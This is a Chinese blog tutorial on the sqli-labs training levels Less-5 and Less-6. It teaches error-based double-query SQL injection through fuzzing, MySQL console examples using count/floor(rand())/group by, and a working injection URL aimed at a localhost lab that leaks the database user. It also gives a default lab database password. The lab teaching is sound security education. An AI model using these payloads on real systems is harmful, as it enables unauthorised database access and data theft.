sqli-labs ---- Less-5 & Less-6

最新推荐文章于 2024-08-29 10:36:39 发布
最新推荐文章于 2024-08-29 10:36:39 发布
阅读量2.9k 收藏 3
点赞数
分类专栏： Vulnerability Analysis Pentesting Web Applications SQL Injection
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/nixawk/article/details/27804385
版权

[推荐] http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do

在过去的日子里，我们利用 https://github.com/Audi-1/sqli-labs，讨论了SQL注入的不同类型。最新发布的内容见 地址。
现在，我们将回顾之前的注入内容，并讨论基于错误显示的二阶查询注入，有时候又称子查询注入。有些人喜欢称其为盲注，但是我喜欢称其为显错注入，因为接下来我们会通过错误来获取信息。接下来的内容会如第一部分那样，继续采用分类方案，接下来的内容会以第一部分为基础进行讲解。
这部分主要用到的是SQLI-LABS的 Less-5 和 Less-6。
采用前面方法，查看页面会显示什么内容。我们可以看到 Less-5 与 Less-6 页面相似，它们之间只有非常细微的差异。前面的案例中我们能看到用户名和密码会显示在页面中，但是这里仅显示”Youare in......”


枚举参数

除了id为13例外，其他从1到14返回同样的页面，其余id返回无效内容。

id=1You are in...........
id=2You are in...........
id=3You are in...........
id=4You are in...........
id=5You are in...........
id=6You are in...........
id=7You are in...........
id=8You are in...........
id=9You are in...........
id=10You are in...........
id=11You are in...........
id=12You are in...........
id=13no output
id=14You are in...........
id=15no output
id=0no output
id=100no output
id=hellono output

请求有效时，返回“Youare in...........”，无效时，无对应字符返回。


FUZZING

像前面介绍的那样，我们对应用程序进行模糊测试，并跟踪可能的注入情况，以便理解应用程序是如何处理恶意输入的。

整数或字符测试

输入参数看起来是个整数类型，我们可以确认一下，或者看看它是否同样接受字符串。输入字符串得到的结果，与无效输入类似。其他的一些测试如下:


'You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '''' LIMIT 0,1' at line 1
“no output
;no output
%00no output
)no output
(no output
aaano output

Less-5 与 Less-6 针对单引号与双引号，结果如下:

http://127.0.0.1/sqli-labs/Less-5/?id=1'异常
http://127.0.0.1/sqli-labs/Less-6/?id=1'no output
http://127.0.0.1/sqli-labs/Less-5/?id=1”no output
http://127.0.0.1/sqli-labs/Less-6/?id=1”异常

从上面的模糊测试，我们知道数据库没有返回任何输出，因此我们不能使用 UNION SELECT 获取数据库信息。


数据库返回到页面上的唯一信息就是，Mysql错误。因此，我们需要以一种方式处理我们的查询，以便通过错误获取数据库信息。查询条件必须是正确的，能被后端数据库解释执行，且需产生一个逻辑错误，让数据库信息伴随错误字符串返回。


疑惑了？ 不要担心，接下来我们弄清楚它.

猜解查询

通过上面的模糊测试，我们可以了解一些关于应用程序的信息。接下来，我们猜解一下后端的查询情况。单引号致使 Less-5 异常，双引号致使 Less-6 异常。为了确认原始查询变量只被单引号或者双引号引用，我们尝试使用转义字符。


http://127.0.0.1/sqli-labs/Less-5/?id=1\You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near ''1\' LIMIT 0,1' at line 1
http://127.0.0.1/sqli-labs/Less-6/?id=1\ You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '"1\" LIMIT 0,1' at line



注释剩余查询

http://127.0.0.1/sqli-labs/Less-5/?id=1‘--+You are in...........
http://127.0.0.1/sqli-labs/Less-6/?id=1“--+ You are in...........


因此，我们猜测查询语句格式如下:


Less-5SELECT * FROM table_name WHERE ID=’Value we inject’ LIMIT0,1
Less-6

SELECT * FROM table_name WHEREID= “Value we inject” LIMIT 0,1


理解子查询

在我们进一步SQL注入之前，我们需要理解子查询的基本知识。子查询可以理解为，将一个查询置于一个已存在的查询中，或将查询作为另一个查询的一部分。动态处理内部查询，并生成最终结果，例如:

Select concat((select database()));注意不要写错。上述查询中，蓝色部分就是子查询，它会首先被评估。

然后结果被传递给concat函数。


SQL注入

这种类型的注入，我们需要使用特殊的函数，如果你不熟悉，请在操作前，先学习一下.

Rand()
Floor()
Count()
Group by clause

有些厉害的测试工程师发现，将Groupby clause与一个聚合函数一起使用，例如count(*)，可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。

在开始完整的操作前，我们先来打个基础。

mysql -uroot -pbacktrack r3 默认数据库口令为root/toor
use security选择数据库security
select concat((select database())); 
select concat(“string1”, “string2”); 
select rand(); 
select floor(1.1234567); 
select floor(rand()*2) 
select concat((select database()), floor(rand()*2)); 


分析查询

mysql>select concat((select database()), floor(rand()*2));
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security1 |
+----------------------------------------------+
1row in set (0.00 sec)

mysql>select concat((select database()), floor(rand()*2)) from users;
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security1 |
|security0 |
|security1 |
|security1 |
|security0 |
|security1 |
|security0 |
|security1 |
|security1 |
|security1 |
|security1 |
|security0 |
|security0 |
+----------------------------------------------+
13rows in set (0.02 sec)

mysql>select concat((select database()), floor(rand()*2)) from information_schema.SCHEMATA;
+----------------------------------------------+
|concat((select database()), floor(rand()*2)) |
+----------------------------------------------+
|security0 |
|security0 |
|security1 |
|security1 |
|security0 |
|security0 |
+----------------------------------------------+
6rows in set (0.02 sec)

接下来我们使用GROUP BY函数完成查询，我们可以使用information_schema.tables或information_schema.columns获取结果，columns表会返回100多条数据，可以用来分析随机数。group by可以用来去重。

mysql>select concat((select database()), floor(rand()*2)) as a from information_schema.columns group by a;
+-----------+
|a |
+-----------+
|security0 |
|security1 |
+-----------+
2rows in set (0.11 sec)

注意:

内嵌查询SELECT database()可以被其他查询代替，这个查询将会伴随MYSQL错误输出。例如:

SELECT version(), user() 或获取完整的表，栏目等，就像第一部分讨论的那样。

接着上面的实例继续。

mysql>select datadir();

ERROR1305 (42000): FUNCTION security.datadir does not exist

mysql>select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;

ERROR1062 (23000): Duplicate entry 'security1' for key 'group_key'

荣誉属于那些聪明的人，他们发现了聚合函数和GROUP BY的致命组合。重复的值，导致执行查询时，产生错误。

mysql>select count(*), concat((select version()), floor(rand()*2))as a from information_schema.columns group by a;

ERROR1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key'group_key'

mysql>select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.columns group by a;

+----------+--------------------------+

|count(*) | a |

+----------+--------------------------+

| 340 | 5.1.63-0ubuntu0.10.04.10 |

| 347 | 5.1.63-0ubuntu0.10.04.11 |

+----------+--------------------------+

2rows in set (0.02 sec)


注意此处as与前面内容之前无空格。

接下来让我们使用web前端来完成这个逻辑，不过在这之前，我们需要注意另一个被称为衍生表的东东。

select 1 from (table name);

详细内容，请查阅:

http://www.youtube.com/watch?feature=player_embedded&v=zaRlcPbfX4M
http://www.youtube.com/watch?feature=player_embedded&v=9utdAPxmvaI

mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a);

ERROR1248 (42000): Every derived table must have its own alias

mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a)x;

ERROR1062 (23000): Duplicate entry '~root@localhost~0' for key 'group_key'

书写时，concat函数中间的空格可能导致无内容返回。

http://localhost/sqli-labs/Less-5/?id=1'+AND+(select+1+from+(select+count(*),+concat('~',(select+user()),'~',+floor(rand()*2))as+a+from+information_schema.tables+group+by+a limit 0,1)x)--+




Nixawk
关注
专栏目录
sqli-labs Less-5 （报错注入）
A9874564的博客
02-25 4264
在实际场景中，如果没有一个合适的数据返回点，而是仅仅带入Sql数据进行查询，就需要报错注入。 1.less 5 正常情况，我们构造闭合，发现没有问题 利用前几关的思路，发现无论怎么操作都是You are in......，这个时候一般的思路就行不通。 发现：仅带入Sql数据进行查询，没有一个合适的数据返回点，这时候可以尝试报错注入。 2.报错注入 2.1 extractvalue报错 示例： and extractvalue(null,concat(0x7e,(sql_inje.
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1971
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
sqli-labs (less-5)
kukudeshuo的博客
03-07 3547
sqli-labs (less-5) 第五关和前面的四关就不一样了，当我们输入id=1时，页面不会再返回用户名和密码，而是返回了 You are in… 输入 http://127.0.0.1/sql1/Less-5/?id=1' 这里报错，根据错误信息我们判断为字符型注入 判断字段数 http://127.0.0.1/sql1/Less-5/?id=1' order by 3--+ http://127.0.0.1/sql1/Less-5/?id=1' order by 4--+ 判断字段数为
Java开发中SQLHelper工具类的设计与应用
最新发布
weixin_33173126的博客
08-29 1091
本文还有配套的精品资源，点击获取 简介：SQLHelper是Java项目中常用的数据库操作辅助工具，旨在简化CRUD操作。通过模板方法或工厂模式设计，它提供了一套标准API，并支持自动拼接SQL、参数绑定、事务管理、批处理操作和结果集转换等核心功能。本文将详细介绍SQLHelper的设计思想、核心功能以及如何在项目中使用，包括引入依赖、初始化、编写SQL、执行操作和结果处理...
Sqli-labs less 6
lixiangminghate的专栏
06-23 568
转自:lcarmyLess6与less5的区别在于less6在id参数传到服务器时，对id参数进行了处理。这里可以从源代码中可以看到。id=′"′.id=′"′.id.'"';sql="SELECT∗FROMusersWHEREid=sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";那我们在这一关的策略和less5的是一样的。只需要将 ' 替换成 " .这里我们...
SQLi-LABS Less-5
m0_64898960的博客
04-12 1713
SQLi-LABS Less-5
sqli-labs less-5
阿刁〇的博客
03-30 374
文章目录sqli-labs less-5* 判断注入* 判断列数* 查询详细信息 sqli-labs less-5 第五关和前面的几关不同 * 判断注入 输入?id=1 回显信息为You are in…… 判断注入类型 输入?id=1' 根据报错信息可知，注入类型为字符型 输入?id=1' --+ 回显正常 由此可知，闭合方式为’) * 判断列数 输入?id=1') order by 3 --+ 回显正常 输入?id=1') order by 4 --+ 回显错误 故字段数为3，有3列 *
sqli-labs靶场练习笔记
11-09
### SQLi-Labs靶场练习笔记知识点概览 #### 一、SQL注入基本概念与原理 - **定义**：SQL注入是一种常见的应用层攻击方式，它利用编程中的漏洞，通过在应用程序的输入框中插入恶意SQL语句来控制后端数据库服务器。 -...
Sqli-labs靶场第11关详解[Sqli-labs-less-11]
m0_73615178的博客
02-24 1509
SQL注入的三个条件：①参数可控；（从参数输入就知道参数可控）②参数过滤不彻底导致恶意代码被执行；（需要在测试过程中判断）③参数带入数据库执行。（从网页功能能大致分析出是否与数据库进行交互）利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-
Sqli-labs靶场第12关详解[Sqli-labs-less-12]
m0_73615178的博客
03-02 775
所以，payload分析输入一个username值然后使用单引号加小括号 ") 闭合前面的语句，然后为了使where语句条件成立，加上一个or 1=1 ，-- 注释语句使后面的语句直接注释password不用判断。由于这题是post请求，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。根据题目看，像一个登录页面，尝试使用布尔型盲注测试能否登录网站。输入：-admin") union select 1,2--爆出当前数据库名称及当前用户名。
Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 780
-batch当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用--batch这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。由于这题是，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件爆出当前主机名称。
sqli-labs-master【Less-5/6】
weixin_44352521的博客
12-14 293
Less-5 1. 首先判断闭合方式和字段： http://192.168.228.129/sqli-labs-master/Less-5/?id=1' --+ 闭合方式为单引号，字段数为3； 2. 查看显示位 http://192.168.228.129/sqli-labs-master/Less-5/?id=1' union select 1,1,1 --+ 可以看到，语句已经执行了，...
sqli-labs(less5)
m0_68980215的博客
07-08 326
sql-lab lesson5
sqli-labs Less-5
qq_42630215的博客
03-06 169
Less-5 GET - Double Injection -Single quotes - String 1.原页面 2. ?id=1 输入正确不会查询数据库，而是直接返回 you are in… 所以要让它报错，显示我们要的信息。 3.?id=1’ ‘’1’’LIMIT 0,1’ --> (去掉单引号) ‘1’’LIMIT 0,1 -->因为我们输入的是id=1’也就...
#sqli-labs less5
qq_45106794的博客
10-18 249
#sqli-labs less5 从含义上讲，count(1) 与 count() 都表示对全部数据行的查询。count() 包括了所有的列，相当于行数，在统计结果的时候，不会忽略列值为NULL ；count(1) 用1代表代码行，在统计结果的时候，不会忽略列值为NULL 。 一般情况下SQL的报错信息是不会显示在页面中的 只有在php.ini 进行如下配置 display_errors=On ...
sqlilabs—less5
一个普普通通的博客
03-16 1283
sqlilabs—less5
Sqli-labs--less-5
沐目的博客
04-08 4484
sqli-labs-master/Less-5/ 字符型，报错注入 首先 ？id=1’ 报错。让后用双引号，回显正常。再使用单引号+%23，回显正常，基本可以确定是单引号字符型。但是发现使用平常的 union select ，没有任何反应。 所以这道题需要一个新的知识点，刚学sql注入的同学，可能会有一点崩溃。有两种方法，叫做报错注入，其实有三种，但是我只会两种。 一、 报错注入了解一下：（报错...
sqli-labs Less-5（布尔盲注）
万丈⾼楼平地起，勿在浮沙筑⾼台学艺不精的安全菜鸡，改行回家养猪了，对博客有疑问欢迎留言，看到一定回
01-31 662
前几篇sql注入文章 sqli-labs Less-1（联合注入、字符型注入） sqli-labs Less-2（联合注入、整形型注入） sqli-labs Less-3（联合注入、字符型注入） sqli-labs Less-4（联合注入、字符型注入） sqli-labs Less-5（利用extractvalue进行报错注入） sqli-labs Less-5（双注入） 布尔盲注其实就是构造一个SQL语句，当语句成立时，页面会返回特点的标识，语句不成立是返回其他，或无数据。因此我们可以构造一个判断语句，利
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值